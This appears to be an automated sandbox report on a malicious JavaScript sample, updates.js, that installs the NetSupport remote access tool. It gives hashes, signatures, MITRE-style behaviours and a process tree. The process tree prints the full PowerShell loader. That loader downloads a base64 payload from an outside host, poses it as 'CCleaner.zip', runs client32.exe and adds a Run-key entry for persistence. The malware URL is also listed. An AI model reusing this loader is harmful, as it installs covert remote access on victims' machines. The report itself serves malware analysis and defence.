Analysis
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max time kernel
137s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
26-07-2024 20:33
Static task
static1
Behavioral task
behavioral1
Sample
updates.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
updates.js
Resource
win10v2004-20240709-en
General
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Target
updates.js
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Size
2.7MB
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MD5
1b17ec51d8be6e80d530e36aa0f8bb41
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SHA1
65aa99559627a07851e2f21aa465a4dc10e84e02
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SHA256
b36668956d6f6f8f789d39130d8b45f6794ec91b9a6b895512af6f88181a1f81
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SHA512
daf20dfbde0d7660cef950641697c239ac7fb6c5d7f928b5c5396cd578ed7e130b78f21db80a9721573807f6a02e6fbd8f9e46695803cac1fb2694e1a1d2166a
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SSDEEP
49152:DA4yxjzCgTpCffzZtrCP7sQs0iy/ss7+ZdhN6j4GusjtWsDtzXY7aIvJLwKXq2XI:4
Malware Config
Extracted
http://hhic.top/data.php?11163
http://hhic.top/data.php?11163
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
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Blocklisted process makes network request 1 IoCs
flow pid Process 14 4880 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4880 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
pid Process 2576 client32.exe -
Loads dropped DLL 6 IoCs
pid Process 2576 client32.exe 2576 client32.exe 2576 client32.exe 2576 client32.exe 2576 client32.exe 2576 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HPRKEQMGKMK = "C:\\Users\\Admin\\AppData\\Roaming\\CPALDR15\\client32.exe" powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language client32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4880 powershell.exe 4880 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4880 powershell.exe Token: SeSecurityPrivilege 2576 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2576 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 920 wrote to memory of 4880 920 wscript.exe 86 PID 920 wrote to memory of 4880 920 wscript.exe 86 PID 4880 wrote to memory of 2576 4880 powershell.exe 96 PID 4880 wrote to memory of 2576 4880 powershell.exe 96 PID 4880 wrote to memory of 2576 4880 powershell.exe 96
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $WYTHVQSDZ='http://hhic.top/data.php?11163';$DOUVB=(New-Object System.Net.WebClient).DownloadString($WYTHVQSDZ);$CFBBFY=[System.Convert]::FromBase64String($DOUVB);$asd = Get-Random -Minimum -10 -Maximum 17; $WGYZUKPIEE=[System.Environment]::GetFolderPath('ApplicationData')+'\CPALDR'+$asd;if (!(Test-Path $WGYZUKPIEE -PathType Container)) { New-Item -Path $WGYZUKPIEE -ItemType Directory };$p=Join-Path $WGYZUKPIEE 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$CFBBFY);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WGYZUKPIEE)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $WGYZUKPIEE 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $WGYZUKPIEE -Force; $fd.attributes='Hidden';$s=$WGYZUKPIEE+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HPRKEQMGKMK';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4880 -
C:\Users\Admin\AppData\Roaming\CPALDR15\client32.exe"C:\Users\Admin\AppData\Roaming\CPALDR15\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2576
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
195B
MD5e9609072de9c29dc1963be208948ba44
SHA103bbe27d0d1ba651ff43363587d3d6d2e170060f
SHA256dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747
SHA512f0e26aa63b0c7f1b31074b9d6eef88d0cfbc467f86b12205cb539a45b0352e77ce2f99f29baeab58960a197714e72289744143ba17975699d058fe75d978dfd0
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
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Filesize
3.6MB
MD5d3d39180e85700f72aaae25e40c125ff
SHA1f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA25638684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f
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Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
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Filesize
670B
MD58684f84c76c111c4d47dd49106775030
SHA1620a70cb5d9a4e0d10b2d86ee0ddecdaac1575b7
SHA256c01152c4b80841f2a4900513fded183f2dbd8d7d57e84744b0ae8e6068060c37
SHA5124c5d39ffb3bf1bc0f50aedf1b76b34cb1d47c87ed31102335280f1a48f9b289084f397a477f006999a43b7d024ada4ae020330b41888e77f8320762aabaebbf0
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2